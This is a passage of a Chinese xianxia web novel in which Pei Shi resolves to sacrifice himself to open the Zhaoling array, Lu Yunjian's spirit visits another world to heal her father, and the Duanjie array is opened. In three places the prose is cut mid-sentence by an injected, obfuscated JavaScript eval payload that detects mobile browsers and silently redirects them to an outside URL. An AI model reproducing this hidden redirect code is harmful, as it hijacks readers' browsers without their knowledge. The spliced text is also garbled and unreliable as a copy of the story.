裴世道:“照灵阵并非是为镇压鬼类。这便是我二人要拜托季小姐的第一件事——我们已与无津大师商定好,圣清结界一破,三大门派与哀牢便立即开启引魂之阵,消灭亡魂厉鬼之类,过不了多久,想必无津大师会前往镜阳宗,参与布置引魂之阵。” 季瑶颔首:“好。” 裴世继续道:“修真界史载,三百二十年前,那一场大战之中,有大批百姓与修士失去神智、自相残杀,若是这一战中也出现此番景象,怕是比妖魔鬼怪要麻烦得多。 “史载奇焳妖鸟‘其鸣凄厉,闻之者莫不怆然悲戚’,我们怀疑失智之象可能由奇焳妖鸟造成,又或者即便不是,幕后元凶也不会放过如此方便的一样利器,定会想方设法让世人再度失去神智,自相残杀。 “若是果真如此,引魂之阵也无法将失智之人镇压或是消灭,修真界必然遭受重创,唯有开启照灵阵,以净化之能将失智之人的心智净化,再引其前往转生。” 季瑶一时之间不能完全明了其中缘由,但也知没有时间再多问,便道:“陆成蔺陆掌门之所以能开启照灵阵,是献祭了照翎族全族,我们自然不能如此。更何况,照灵阵是这世间最强的阵法,便是其变体引魂之阵,也因诡谲复杂而失传,我们怎知照灵阵究竟如何绘制?” “我可以大致还原照灵阵,而我此身,可作为照灵阵的‘引’。” “什……”季瑶几乎以为自己听错了,“什么?” 裴世淡声道:“我体内有照灵骨,我可以前去开启照灵阵。 “照灵阵以四方神兽为基,正巧与云间世所设断界阵法相同——待时机成熟,我会进入断界阵,并想办法更改部分阵法,使之更接近于照灵阵。 “更何况,怕是等不到我将照灵阵研制完成,众仙门就会逼上云间世,强行撕开时空裂缝,将这个时空的妖魔鬼怪,尽数引往另一个时空,以求护此时空周全。 “若真到了那一步,烦请季小姐给陆明周带个话,让他尽量为我拖延些许时间,待时机成熟,我会自投罗网。 “待断界阵开启后,我会于阵眼更改阵法,届时烦请季小姐寻来两至三位可信之人,各占一方神兽所在之处,助我逆转阵法。” 裴世所说太过突然也太过奇异,季瑶一时甚至不知是否该相信他,可仙门之中,可信的又有几人? 季瑶将他所言默默记下,踌躇片刻,还是问道:“裴公子体内的照灵骨是何缘故?” 裴世道:“此事说来话长,不便言明。季小姐若是不能确定我所说是真是假,可待无津大师造访镜阳宗时,向他问个究竟。” 季瑶轻轻摇头:“我不是疑你,只是照灵骨此等神物,我们不知其完整特性,又如何判断其效用究竟如何?再者……裴公子不是不知,三百二十年前献祭于照灵阵的照翎族下场如何,裴公子若要强行开启照灵阵,怕是凶多吉少。” 裴世轻声一笑:“我还真不知如何凶多吉少。” “……” 裴世见季瑶没有再问,便转身朝山顶走去:“时间紧迫,季小姐若无其他要事,我便先走一步。不过最后还有一事,是我私人所请,就是烦请季小姐不要让她知晓此事。” 这话虽未言明,可“她”是谁,不言而喻。 季瑶神色复杂,一时不知该说什么。 自逆转时空前发现照灵骨的痕迹,三大门派便一直致力于寻找那名体内有照灵骨的弟子,直到逆转时空后取得其消息,确定其与照灵骨有关,甚至是体内暗藏照灵骨,便意欲将其取出,用以开启断界阵,联合另一个时空,共对灾劫。 那时无人觉得此事有错,为了挽救尘世,牺牲一人,算得什么?更何况……如果他不是一个真正的人呢?照灵骨化作的人,可算作人吗? 世人只知照灵骨是最强的神器,不知人之何以为“人”。 后来一直设法取出该弟子体内照灵骨的陆云笺重伤闭关,云间世与镜阳宗便只能屡屡设法试探、中伤他,却如何也得不了手。 他身为一名微不足道的小弟子时,仙门不屑于看他,可他成了“归云仙君”,仙门却再也伤不得他,也无人能够再接近他。 即便众仙门为陆云笺和裴世安上重重罪名,可此二人若不降,仙门之中又有谁能奈何? 好在据陆云笺所言,另一个时空并非修真界,那么便不能再启动断界阵,不再需要照灵骨了。 季瑶曾极力反对强取照灵骨,如今看来,不再开启断界阵,倒是最好的。 不会错杀无辜之人,也不会连累另一个时空。 可裴世却要以自身为“引”,开启照灵阵…… 这一回没有仙门逼迫,没有世人恳求,他明明知晓开启照灵阵需要什么代价……何至于此? 她虽极力强调“体内有照灵骨的人自然是人”,可终究与世人一样,从不能彻底明白,神器所化的人,究竟能否真正称之为“人”。 现在她终于明了了。 季瑶缓缓吐出一口气,涩声道:“裴公子可想清楚了?” 裴世闻言,脚步微微一顿,而后不曾回头,只轻轻摆了摆手。 哀牢风冷,他该快些回去了。 有什么清楚不清楚的呢?人之所行,原也不过凭一瞬心念。 那日无津大师受他所托,以接回怜生寺地界的百姓为由,前来哀牢会面时,他原本仍是有些犹疑,有些迷惘,甚至是有些恐惧的。那时他远不如后来那般决绝—— 他甚至希望,无津大师忽然告诉他,你体内的不是什么照灵骨,照灵骨也并不能救世。 而无津大师前来哀牢,原本也并不情愿。 怜生寺身为佛门,与云间世、镜阳宗此等修真门派不同,并不擅实际术法,因此怜生寺结界的覆盖范围要小得多,想要维持怜生寺的圣清结界也更加不易,几乎只能靠无津大师一人。 如此重压之下,无津大师自然没有什么好颜色:“归云仙君不好好守着圣清结界,特意唤贫僧前来相见是何意?” “大师何必如此警惕。”裴世悠悠道,“若我想让大师身败名裂,早便将大师所作所为昭告天下,难道还需先行告知大师?” 无津大师冷笑道:“那归云仙君说说,贫僧所作所为如何?” 裴世道:“我与大师在此并非为了闲谈,大师为何叛出蒲山,为何遁入空门,又为何屡次隐瞒甚至阻止我二人进山,大师心知肚明。” 无津大师微微一怔:“你……” 裴世道:“我在蒲山幻境中,见过了青竹君。” 无津大师不知他究竟知晓多少,一时默然不语。 裴世却果真没有多谈此事,而是道:“前番受大师所扰,幻境不稳,我未能知晓有关断界骨的全部事宜。此番是想问问大师,依大师之见,若我代替三百二十年前的照翎族,作为照灵阵的‘引’,是否可行?” “什么……”无津大师一时震悚,“你疯了?你——什么叫你来做照灵阵的‘引’?” 裴世冷声道:“我问大师此法是否可行。若我进入断界阵阵眼修改阵法,成功开启照灵阵的几率几何,偏离回断界阵的几率又是几何?” 哀牢之中寒风呼啸,二人对立不言,无津大师忽地后知后觉地感到了冷,甚至裹紧了身上的斗篷也未能抵挡住一丝寒风。 好一个舍己为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676440|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的归云仙君,显得自己当初偷盗箜篌琴弦又叛出蒲山是多么卑劣多么自私多么下贱—— 他不过神器所化,连人都不是,演什么济世救人的剧目?! 无津大师平静了心绪,冷笑道:“裴世,你想显得自己多高尚多无私多伟大?你不过一个没血没肉没爹没娘的东西——你的血肉都是灵力所化,非人非鬼非妖非魔非仙非神——你难道以为你高尚一回,就是个真正的人?全天下就会对你感恩戴德?” 裴世闻言反倒轻声一笑,那么多句愤慨之言都仿佛没听见,偏偏挑了一句最不痛不痒的问道:“非人非鬼非妖非魔非仙非神,那是什么?” 无津大师一时哑然。 ……是什么? 照灵骨,是这世间最强的神器。也只是神器。 裴世又道:“如若无津大师不肯告知我,我也会一试。我尊你一声‘无津大师’,你的往事我不想多问,但若你日后还要阻我,便是参世仙人不予追究,我也不会放过你。照灵骨是这世间最强的神器——大师觉得,若是我偏要与你同归于尽,你胜算几何?” “……你以为你会有什么好下场?”无津大师咬牙道,“怕是在你开启照灵阵,粉身碎骨之前,众仙门就会将你们押去献祭断界阵——” “那正好啊。省得我多跑一趟。” 无津大师又是哑然。 他实在不懂,一个陆云笺,一个裴世,为何如此热衷于…… 一个被养来杀人下毒世人避之不及众仙门恨不得除之而后快,一个无父无母师出无门遭人厌弃尚不能称之为“人”,他们到底图什么? “之前宋承泽为了引渡妄尘神龙亡魂转世时,曾开启过引魂之阵,在蒲山幻境中,我也见过参世仙人所创的引魂之阵。待日后圣清结界破碎,我会在哀牢开启引魂之阵,我劝大师最好思虑清楚,与云间世、镜阳宗共开引魂之阵,否则……” 裴世没有说“否则”如何,无津大师一时也只有怒,二人不再多谈,裴世转身朝山上走去:“我会将怜生寺地界的百姓送下山,你将他们尽数接回。” “……” “我答应你。”无津大师忽然出声,“我会将完整的引魂之阵告知于你,待圣清结界破,我会与其余两大门派共同开启引魂之阵。” 裴世脚步一顿,脚下碎石沙土滚滚而落,他偏头看向立在山脚的无津大师,没有说话。 “引魂之阵是照灵阵的变体,你可参照引魂之阵的部分,研制照灵阵。献祭照灵阵,说什么粉身碎骨爆体而亡魂飞魄散都是轻的,你别后悔。” 裴世轻轻扯了扯嘴角。 他现在就开始后悔了。 平生第一次尝到贪生怕死的滋味,原来如此难熬……想来需要许多时日,才能磨去犹疑、迷惘与恐惧。 无津大师离开了,裴世挑了条隐蔽无人的陡峭小路,一步一步走上山,一路寒风萧瑟,也没吹淡他贪生怕死的心思。 唯有见到那个人时,才觉虚浮的脚步终于落到了实处。 陆云笺从不习惯使用清心咒,她要保持或是恢复神智,永远都是用她的独门绝技—— 哀牢的一种不知名药草,极苦极涩,再贪生怕死的人,吃了这药草,或许都有那么一瞬感到生不如死。 陆云笺从前在哀牢训练时,也会怕苦,因此琢磨了好些天,发明了一样苦不苦甜不甜的糖,叫它“苦尽甘来”。 裴世不由自主受了陆云笺的药草,苦得头晕目眩的那一刻,他惊异于自己居然还有神智思考—— 在哀牢这样一个暗无天日、凶险丛生的地方,陆云笺独自一人,待了将近十年。 不知多少回迎面碰上意料之外的暗箭,不知多少回借这药草强行保持清醒,不知多少回借“苦尽甘来”宽慰自己,不知多少回孤零零一人待在空荡荡的凶山,自夜幕降临时等起,好容易等到第二日白昼来临,哀牢上空却永远黑云密布,不见天日。 如此十年,见到的都是这样的景象……人间半分好的景色她都不曾见过。 那一刻,原本飘飘荡荡徘徊无定处的人忽然有了归所。 他有答案了。 135. 剜梦乡 “前辈教与我的曲子,我已记下了。” 参世仙人微微颔首:“你灵力尚未全然恢复,躯体不能离开幻境,我便助你借用悯诚三分灵力,魂魄出窍,前往时空裂缝。” 陆云笺点头。 参世仙人抬手在陆云笺肩上轻轻一拍,陆云笺顿觉身体似乎轻浮至半空,低头一望,躯壳仍端坐原处,此身不过一个无形无影的魂魄。 两半魂魄接合处尚有一线微小裂缝,幻境之中源源不断的灵气涌将上来,将裂缝一寸一寸弥补无痕。 随着陆云笺的魂魄一并脱出的妖狼碎魂“呜呜”两声,聚在参世仙人身旁。 参世仙人道:“灵魂出窍,魂魄不稳,切记半个时辰之内要回到蒲山。” 陆云笺轻轻点头,虚无缥缈的魂魄仿若一阵无形无状的风,一路匆匆掠过人间,直朝云间世而去。 人间早已是一片猩红炼狱,引魂之阵耗竭灵力,已然消散,仙门百家也早已不再入世迎敌。 事实上,绝大多数仙门连自家方寸的结界都不再守得住,最后一点防御结界只能堪堪守住几人,在扭曲尖啸的浪潮中,挤出一点极其微弱、仿佛下一刻便会瓦解溃散的光亮。 云间世的结界也缩小至仅能笼罩云间世群山的大小,无处可去的百姓与修士都聚在云间世群山之上。 然而即便不是奇焳啼鸣造成越来越多的人失去神智、自相残杀,仙门储蓄的食粮也已然不足,修士时而辟谷,尚能坚持,诸多百姓却难以支撑,一时饿殍千里、残肢遍地。 中孚殿外,云间世众修士与其余门派分立两侧,银光交错,谁也不愿多退一步,僵持已久。 银鹰卫还未到……还来得及。 陆云笺只粗略朝下瞥了一眼,便径直往后山禁地而去。 虽说魂魄出窍风险极大、且灵力大幅削弱,速度却快了不知多少倍,仿佛上一刻还在蒲山,下一刻便到了云间世,其间生灵涂炭,仿佛不过方寸之地,甚至仿佛不过一场幻觉。 若真是方寸之地,又或是一场幻觉,那就好了。 云间世后山禁地,时空裂缝入口处已扩展至最大,无数无形灵体肆意穿梭其间,好在实体妖魔尚不能通过,只要断界阵未开,时空裂缝便不会进一步扩展,另一个时空便暂且能够无恙。 陆云笺在裂缝边缘站定,挡在两个时空的交界之间。 悯诚箜篌实体虽未至,但三分力量已然极为强劲,金紫交错的灵流源源不断地涌入裂缝,在另一个时空的入口处,筑起一道坚牢无比的结界。 说来奇异,据参世仙人所言,明明应当是两个相差无几的时空,却不知为何如此截然不同。 时空裂缝横亘天穹,一边是不知多少人葬身其中的人间炼狱,另一边却是一派热闹安宁。 修真界的天穹早已被染得如同干涸血污一般黑红交错,根本不能辨出今夕何夕,唯有立在裂缝边缘,看到另一个时空的景象时,才能分辨出原来此时正值黄昏。 日渐西沉,灯火一簇一簇地亮起来,而后连成一片,映得将要落下的夜幕染上一层温和的淡淡光辉。 人们各自奔波,又各有归处。 温凉的水滴砸在手腕,陆云笺猝然收回手,一时还当那水滴是雨。 可修真界已经许久没有见过晴日,也许久没有见过雨了。 明明自己从始至终都是修真界的人,不过阴差阳错见了些另一个时空的景象,为何会…… 为何会不舍,为何会想念。 这个时空的父亲为保神树爆体而亡,兄长被众仙门逼至绝处,另一个时空的他们呢?父亲还在不在?兄长若是一个人,背负那样多的债务,会遇到多少难处,又该如何继续生活? 再回过神来时,她竟已来到一个素未谋面,却又极为熟悉的地方。 魂魄穿越时空的两年,她日日夜夜待着的地方。 单调苍白的房间,窗帘拉得严严实实,外头的光透不进来,屋内一时昏暗得仿佛已经入了夜。 陆云笺站在床前,一时间经年的病痛仿佛尽数涌将上来,裹挟着另一个时空的自己的记忆,告知她,那两年过往,真真切切,绝非虚假。 只是这一回,苍白的病床上换了一个人,是另一个时空的陆稷。 陆云笺心中一跳,已然下意识脱口唤道:“……爸?” 陆稷静默地躺着,依靠呼吸机延续着一口气,胸膛的起伏极为微弱,近乎于无。 两个时空纵有万般不同,但正如参世仙人所言,人之生死与相遇相识相知,这般节点并不会有所改变。 距修真界的陆稷爆体而亡,已时过半月有余。 陆云笺垂眸看了病床上近乎苍白干瘪的人片刻,转了视线,终于瞥见了伏在不远处的桌子边睡着的陆明周。 这个时空的陆明周,远不如修真界的陆明周那般温文尔雅,更不如刚继位的陆尊主那般令诸多仙门不满却又忌惮,却有陆尊主永远不可及的潇洒恣意、永远不可得的深情厚谊。 但此时此刻,那张苍白疲惫的面容,分明一模一样。 陆云笺缓缓抬眼,看向床边那一台心电监护仪。好在心电图仍有波折,没有变为一条平直的线。 陆云笺不知为何原本不应变化的生与死的节点忽然改变了,亦不知如此改变究竟是福是祸,但此时此刻,这个时空的父亲,寿数还未尽。 她走近了些许,微微倾身,凑近了,仔仔细细看着那张她曾恨之入骨,也曾依依不舍的面容。 她不知道父亲这一回是因为什么入的院,但好在悯诚箜篌的疗愈之力从不会因病症不同而有所削弱。 她抬起手,金色灵光在她指尖轻轻一跃,映亮了那张苍白的脸。 强劲金光涌上,陆稷周身被粲然金光包裹,一时间单人病房内亮如白昼,与外头渐渐亮起的灯光相映相照。 好在只一瞬,这灵光便暗了下去,没有引起旁人的注意。 足以让一个家庭倾家荡产、足以让一个人随时丧命的病魔,原来只需箜篌神器一分一毫的灵力便可尽数消散。 陆云笺收回悯诚箜篌的灵力,指尖亮起紫色的术法光芒,点上陆稷的额心。 父亲醒来后,大抵会以为自己做了一场诡异离奇的梦…… 梦醒后,百病皆消,无灾无痛。 那是一个寻常人最大的期盼,也是拥有世人艳羡的强大灵力的云间世陆小姐,唯一能为另一个时空的父亲做的。 陆云笺缓缓收回手,不再多作停留,转身欲走,然而即将奔至窗外的那一刹,身后忽然响起一个如惊雷炸响般的声音—— “云笺!” 陆云笺身形一凝,想要立刻翻至窗外,脚步却不由自主地死死钉在了地上。 她转过身,见一直昏睡着的陆明周不知何时已经醒来,正直直地望着她站立的方向。 又或许并不是望着她,只是望向窗外,那个横在天边,诡异的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682756|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、猩红的,像是纸上划开的一道裂缝的奇怪事物。 幻觉吗?这个时空的陆明周,怎么可能看得见不过是一个魂魄的自己? 脚下地面像是长出了指爪似的,将陆云笺牢牢锢在原地。 她就这样僵着身形,看着泪流满面的陆明周,等着他的下一句话。 可陆明周却像是痴傻了一般,只是低声唤:“云笺……” “云笺啊,爸爸好久没有梦见你了,你不愿意来见爸爸吗?你和昔燕,在那边过得好不好啊……” 陆云笺蓦地一震,抬眼望向病床上那个呼吸平稳、却并没有醒来的人。 ……是幻觉吗? 陆云笺静静看了片刻,而后轻轻闭上了眼睛。 是幻觉吧。 但她还是轻声应道:“妈妈和我,都很好。我们在那边过得很好……爸,你在这边,也一定要长命百岁啊。” 这一回,当真是永别了。 陆云笺没有再管二人是何反应,几乎是惶然无措地转身而逃。 太平人间的簇簇灯火像是生出了手一般,齐齐拽住陆云笺,一寸一寸地将她往下方的车水马龙拽去,而她行得比任何时候都更快,生怕在这个时空再多待上片刻,就要呼吸不能。 好在灵体行得比实体快得多,既能够让她在一念之间便见到另一个时空的父亲,也能助她在一片祥和安宁中逃出生天。 脚下万般景象匆匆流过,陆云笺没有心思去管自己到了何处,只想离另一个时空再远些。 离那个本就不属于她的时空,再远一些。 “你回来了。” 参世仙人淡若云烟的声音传入耳中,陆云笺这才倏然意识到自己不知何时已经回到了蒲山,周遭仍是空空荡荡的幻境,仿佛方才所见,不过是一场不知真假的梦。 “……嗯。” 陆云笺勉强回过神来,胡乱应了一声,便再度盘腿在悯诚箜篌旁坐下。 不知是不是魂魄离体的缘故,如今刚回到躯体之中,头脑一时有些晕眩混乱,甚至不知今夕何夕。 参世仙人没有多问,仍像之前那样立在箜篌边,等着时光一寸一寸流逝。 山中无日月,不知时光流逝几何。 陆云笺再睁开眼时,幻境仍是分毫未变,但体内灵流已然浑厚如常,如同万道江流在体内缓慢而安静地流淌。 参世仙人仍旧立在悯诚箜篌旁,抬眼看着远方。可幻境中不过一片虚无,能看见什么呢? 陆云笺在地上端坐片刻,平静了心绪与体内灵流,正欲开口唤参世仙人,他却先一步转回了目光。 “你的灵力已大体恢复了,此一去,将是一场死战。”参世仙人道,“这世间从来无人应当为了他人而舍身赴死,你原不必如此的。” 陆云笺默然片刻,道:“晚辈也有一问……既然从来无人应当为了他人而舍身赴死,仙人又为何选择自困山中,耗竭灵力,甚至放弃转世托生?” 参世仙人闻言轻轻一笑,抬手轻抚着金光璀璨的悯诚。 那是他耗竭毕生灵力造出的法器,如此数百年,他生前死后,都是悯诚伴着他,早已成了他的挚友。 参世仙人没有回答,反而问道:“方才你的魂魄去往另一个时空时,见到了什么?” 陆云笺微微一怔。 参世仙人道:“你见到了另一个时空的繁华盛景,也见到了另一个时空的至亲。你不想留在那边吗?” 136. 烬萤烛 “我……” “如今你的魂魄已经融合完整,若是能寻到另一个时空的躯体,或许能借此返生,就此在另一个时空与至亲一同好好生活,此间灭世灾劫,不会再与你有任何关联。为什么不留在另一个时空呢?” “可我原本就不是那个时空的陆云笺,我们不是一个人……” “如何不是呢?你拥有她全部的记忆,拥有一样的至亲好友,会和她做出一样的选择。” “可……” 陆云笺被问得心乱如麻,一时间竟不知该如何反驳。 不想吗? 想的。 她比任何人都更想留在另一个时空。 因为体会过另一个时空中的安宁喜乐,体会过另一个自己拥有的深情厚谊,她比谁都向往,也比谁都不舍另一个时空。 正如裴世所说,如若她是另一个时空的陆云笺,她也会成为善良积极、喜乐无忧的陆云笺,而不是双手不知杀过多少人、沾过多少血的恶人。 她会高兴而亲切地唤陆稷一声“爸”,而不是恨其入骨,将破月刺入他的胸膛。她会与陆明周,与季衡、季瑶、贺江年打打闹闹,除夕一起守岁,而不是永远保持着半真半假的亲近、下意识的疏离与警惕。 即便她在修真界长了二十年,但往后若是能留在另一个时空,她也愿意舍弃过往二十年,努力成为那个永远真诚热情的陆云笺。 “可这个时空,也有我想护的人。难道我能眼睁睁看着这个时空毁于一旦,心安理得地隔着一道隔开两个时空的结界,看着修真界生灵涂炭?” 参世仙人闻言轻笑一声。 陆云笺这才反应过来自己方才说了些什么,一时哑然。 参世仙人道:“我说过,你是可信之人,所以我才会放你进入蒲山幻境。” “……” “一样的。”参世仙人再度抬眼,看向那个根本不可见的远方,“我也只是……无法放任修真界生灵涂炭,只是想还人间一片安宁。 “这世间也远不止你我如此作想……千千万万的人们,都想还这世间一片安宁。只是有人一心盼望,有人选择开宗立派,有人选择云游除祟,而你我,选择奉献此身。 “很多年前,我也见过很多愿意为了举世安平而甘愿赴死,甘愿承受世人不解、万世唾骂,甘愿粉身碎骨、魂飞魄散的人。没什么值得与不值得,人的选择原本全凭人之心念,无需他人理解。” “……” 陆云笺仍旧默默,她从来都不能理解那些舍己为人之人,但不知不觉间,她竟也走上了那条路。 为什么呢? 想来也并不需要什么答案,想来根本没有答案。 “时日差不多了。”参世仙人收回目光,“我将悯诚箜篌传于你后,契约生效,除非箜篌灵力耗尽,你无法再弃之不用。你可想清楚了?” 陆云笺轻轻吐出一口气,缓缓站起身,抬手自箜篌柱上“悯诚”二字拂过。她闭了闭眼,轻声答道:“无悔无怨。” 参世仙人轻轻一笑,而后又是轻声一叹。 “我原有万般遗憾,在这世间走过数百年,却不能再多撑几年,替世人平息这一回灾劫。”他轻声说着,将指尖移至箜篌弦上,却没有拨动,只任由身体穿过了那一线琴弦,逸散数点金光。 “不想还有人愿意竭尽全力护这人间……那我此生,便也无憾了。” 那抹本就浅淡得近乎于无的身影一步一步向着金光璀璨的箜篌走去,飘摇数年不得消的执念,就此与他苦心雕琢了三百二十年的“悯诚”相融为一体。 那抹魂灵最后的灵力、最后的光亮,也尽数付与此间。 修真史上浓墨重彩的仙人,世人崇敬钦佩的“参世仙人”,消失得悄无声息。 幻境之中,无论是云雾还是黑暗都倏然如奔腾洪流一般急速向身后退去,湍急潮水中,唯有箜篌神器端正立在中央,从始至终,丝毫未动。 眼前豁然开朗,耳边竹叶沙沙作响,陆云笺回过身,见青竹君独自一人自竹林间走来,朝她一笑:“陆仙君。” 陆云笺朝他身后空无一人的竹林看了片刻,收回目光:“嗯。” 青竹君道:“蒲山留不得无津大师与季衡多久了,陆仙君不必与他二人纠缠,只管前往云间世。照灵阵若开,悯诚箜篌与之相应,灵力会增强些许。” 陆云笺好容易调整过来的呼吸又蓦地乱了一瞬,扶住箜篌的手不由自主地收紧,没有说话。 青竹君原当她有话要说,又或许有话要问,可等待片刻,陆云笺却一言不发,也没有催促他快些化作琴弦,好让她离开蒲山。 二人相对无言,一时间空气仿佛有些凝滞,凝滞之下却又有万般不安躁动。 青竹君轻笑一声,道:“上回在幻境里,他见了仙人的幻影后,便说要见我。 “我认得他是断界骨所化的人,原以为他看过自己的过往,要怨仙人与我为何如此,却不料他问的却是照灵阵之事。 “那时他便让我一定要瞒着你,这回也是多番强调,烦人得很。不过眼下看来,无怪乎他要我无论如何也要替他瞒下,陆仙君,你的心有些乱了……又或许不是‘有些’?” 陆云笺面色微沉:“我……” 青竹君笑容不坠,却没有再等陆云笺把话说完,只摆了摆手,抬手抚上箜篌琴弦:“仙人走了,我也该随仙人去了。” 他的手在琴弦上顿了片刻,似在犹豫,但到底还是手痒地在琴弦上轻轻一拨。 “陆仙君,一路珍重。” 悠远琴音在山中缓缓荡开,琴音未消,那个倚在箜篌边的青碧色身影却不知何时已经消失无踪。 陆云笺抬眼看向再度静下来的琴弦,轻声道:“多谢。” 至此二十三弦悯诚箜篌,一弦不少。 忽然间地动山摇,万顷碧竹一瞬之间消失不见,山石崩裂,轰隆如雷霆,荒芜无人的蒲山如同崩裂冰川一般坠入地底。 悯诚箜篌化作一道金光,载着陆云笺腾至空中,金光聚散,俨然是一只振翅高飞的神鸟。 金光化作的神鸟幻影远不如奇焳那般翼广数丈、遮天蔽日,所过之处却有簇簇金光如金乌临空般倾泻而下,照亮了暗无天日的人间。 …… “尊主,银鹰卫已将人带回。” 人群中一阵拥挤推搡,而后让开一条道路,为首两名银鹰卫押着一人上前,正是裴世。 后头的银鹰卫领着一众重伤的百姓与修士上前来,陆明周吩咐将他们带去药堂寻侍药长老,话音尚未落,便听人群中传来低低议论声:“这是……归云仙君?” “这真是归云仙君?他、他怎么这么轻易就被……” “毕阁主见过归云仙君,你替我们认一认……” “是啊毕阁主,您快去看看这是不是什么障眼法来的,莫要待会儿开阵的时候出了差错啊……” 裴世闻言,偏头朝立在人群最前的毕如海一笑:“毕阁主好久不见啊,阁主如此大义,不知替神农门掌门收了尸没?” 毕如海眼前闪过神农门掌门坠下哀牢山崖的惨状,后背登时爬上一阵寒意,不由得倒退一步:“小儿狂妄!你……戕害掌门,杀害神龙,又放幕后之人……” “够了。”陆明周冷声打断,“毕阁主这话已不知说了多少遍,眼下当务之急是开启断界阵,毕阁主还要报罪名到何时?” 一模一样的话的确不知过了多少轮,人群中却无人心生厌烦。 如何能心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689471|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生厌烦?他们本就是来问罪的!难道要因为他是云间世的人,就将他的罪过抹去吗?不可能的,他本就有罪,有罪之人就该死,死了之后罪过也不能消除—— “陆尊主这又是何意?人才到,陆尊主就要想方设法地包庇了?” “我们也没说什么不该说的,陆尊主这就要为他开脱罪责了?” “陆尊主如此,真叫人寒心……” “若是如此,谁知道待会儿会不会开断界阵啊……” 陆明周无心再与众人多费口舌,只道:“银鹰卫听令,一炷香之内,将云间世主山众人转移至其余诸山,主山之上不要留人。” “陆尊主,你——” 陆明周道:“断界阵一开,灵力冲击之下,云间世主山将寸草不生。如若诸位不想在此白白受创甚至丧命,最好跟随银鹰卫迁至其余诸山,若不遵从,于云间世无责。” 他说完便不再管人群中的怀疑责问之声,径自领着押着裴世的两名银鹰卫赶往后山禁地。 后山禁地的草木早已被摧毁殆尽,隐约露出断界阵法一角。 陆明周抬头望了一眼裂缝边若隐若现、金紫交错的结界,挥手令两名银鹰卫退下。 他抬手施法,在那道金紫相杂的结界之上,又叠加了一层蓝色结界,只是因他灵力损耗过大,蓝色灵光远不如金紫灵光强劲,几乎被彻底掩盖了去。 裴世稍稍活动了下筋骨,抬手助陆明周布下又一道结界:“真是辛苦尊主了,不料围堵云间世的人如此惹人生厌。” 陆明周问道:“你是如何得知照灵骨之事的?” 裴世道:“亲眼看见的。” 如此短短一句,什么也没有道明,陆明周却也没有再多问,只道:“从前让云笺接近你,是为研制阵法调动以及取出你体内的照灵骨,此事是我们对不住你。” 裴世却轻笑道:“多谢,我甘之如饴。” 陆明周的手微微一抖:“……” 裴世又道:“断界阵开启后,短时间内裂缝会扩大数倍,我会尽快将其改造为照灵阵,届时你们入阵为我护法,裂缝便可停止扩大。不过有此三道结界,妖邪一时半刻不能通过时空裂缝,届时只请尊主派银鹰卫盯着吞象阁那些人,莫要让他们再生事端。” 陆明周颔首,道:“断界阵先前被云笺设法摧毁过一次,此后虽加以修复,但未能复原如初。你看一看,可够用了?”他说着抬手在掌门令牌上一抹,指尖蓝色灵光闪过,隐在地面之下的断界阵便显现出了完全形态。 断界阵与照灵阵虽是不同的阵法,但其中四方神兽之阵以及发挥照灵骨效用的部分却大同小异。 数日以来,裴世日日夜夜在心中创制照灵阵,如今一看断界阵,只觉十分熟悉,因此只消寥寥几眼,便对阵法了然于心。然而虽已了然于心,他的目光却仍顺着道道阵法线条画过,没有移开:“够用了。” 陆明周默然片刻,道:“你可想清……”说到一半又忽然顿住,而后改口道,“你可……你可还有什么未了之愿?” 裴世终于抬起目光,笑道:“尊主是第一个问起我身后之事的人,当真万分感激。” “……” 裴世似乎细细思索了片刻,而后道:“若是方便,还请尊主为我平反。我虽无所谓流芳百世,却也不想因莫须有的罪名而遗臭万年。”他说着不再犹豫,迈步朝断界阵中央走去。 “裴世。”陆明周忽然唤道,“云笺说,这一回她会与你共进退,往后千年万年世人谩骂都无所谓,只求此生此世,不再留你孤身一人。” 裴世的身形微微一凝。 “若是可以,还请你一定撑下去。” 裴世轻轻扯了扯嘴角,道:“一炷香到了,开阵吧。” 137. 曩世愆 天亮了吗? 无数人自饥饿、伤痛、悲戚交杂的混沌中抬起头,望向天边亮起的那一抹金色华光,恍惚间以为灾劫已过,那是新一轮旭日挣脱血色,升上天穹,万丈华光普照人间。 时空裂缝洞开,如同一只猩红的眼,转动着漆黑的眼珠,审视妖魔横行的人间。 无人能看见那颗漆黑的眼珠之后是怎样的景象,只知裂缝一开,灵气动荡,世间所剩不多的妖魔鬼怪尽数扒在裂缝边缘,一寸一寸将深渊撕得更开。 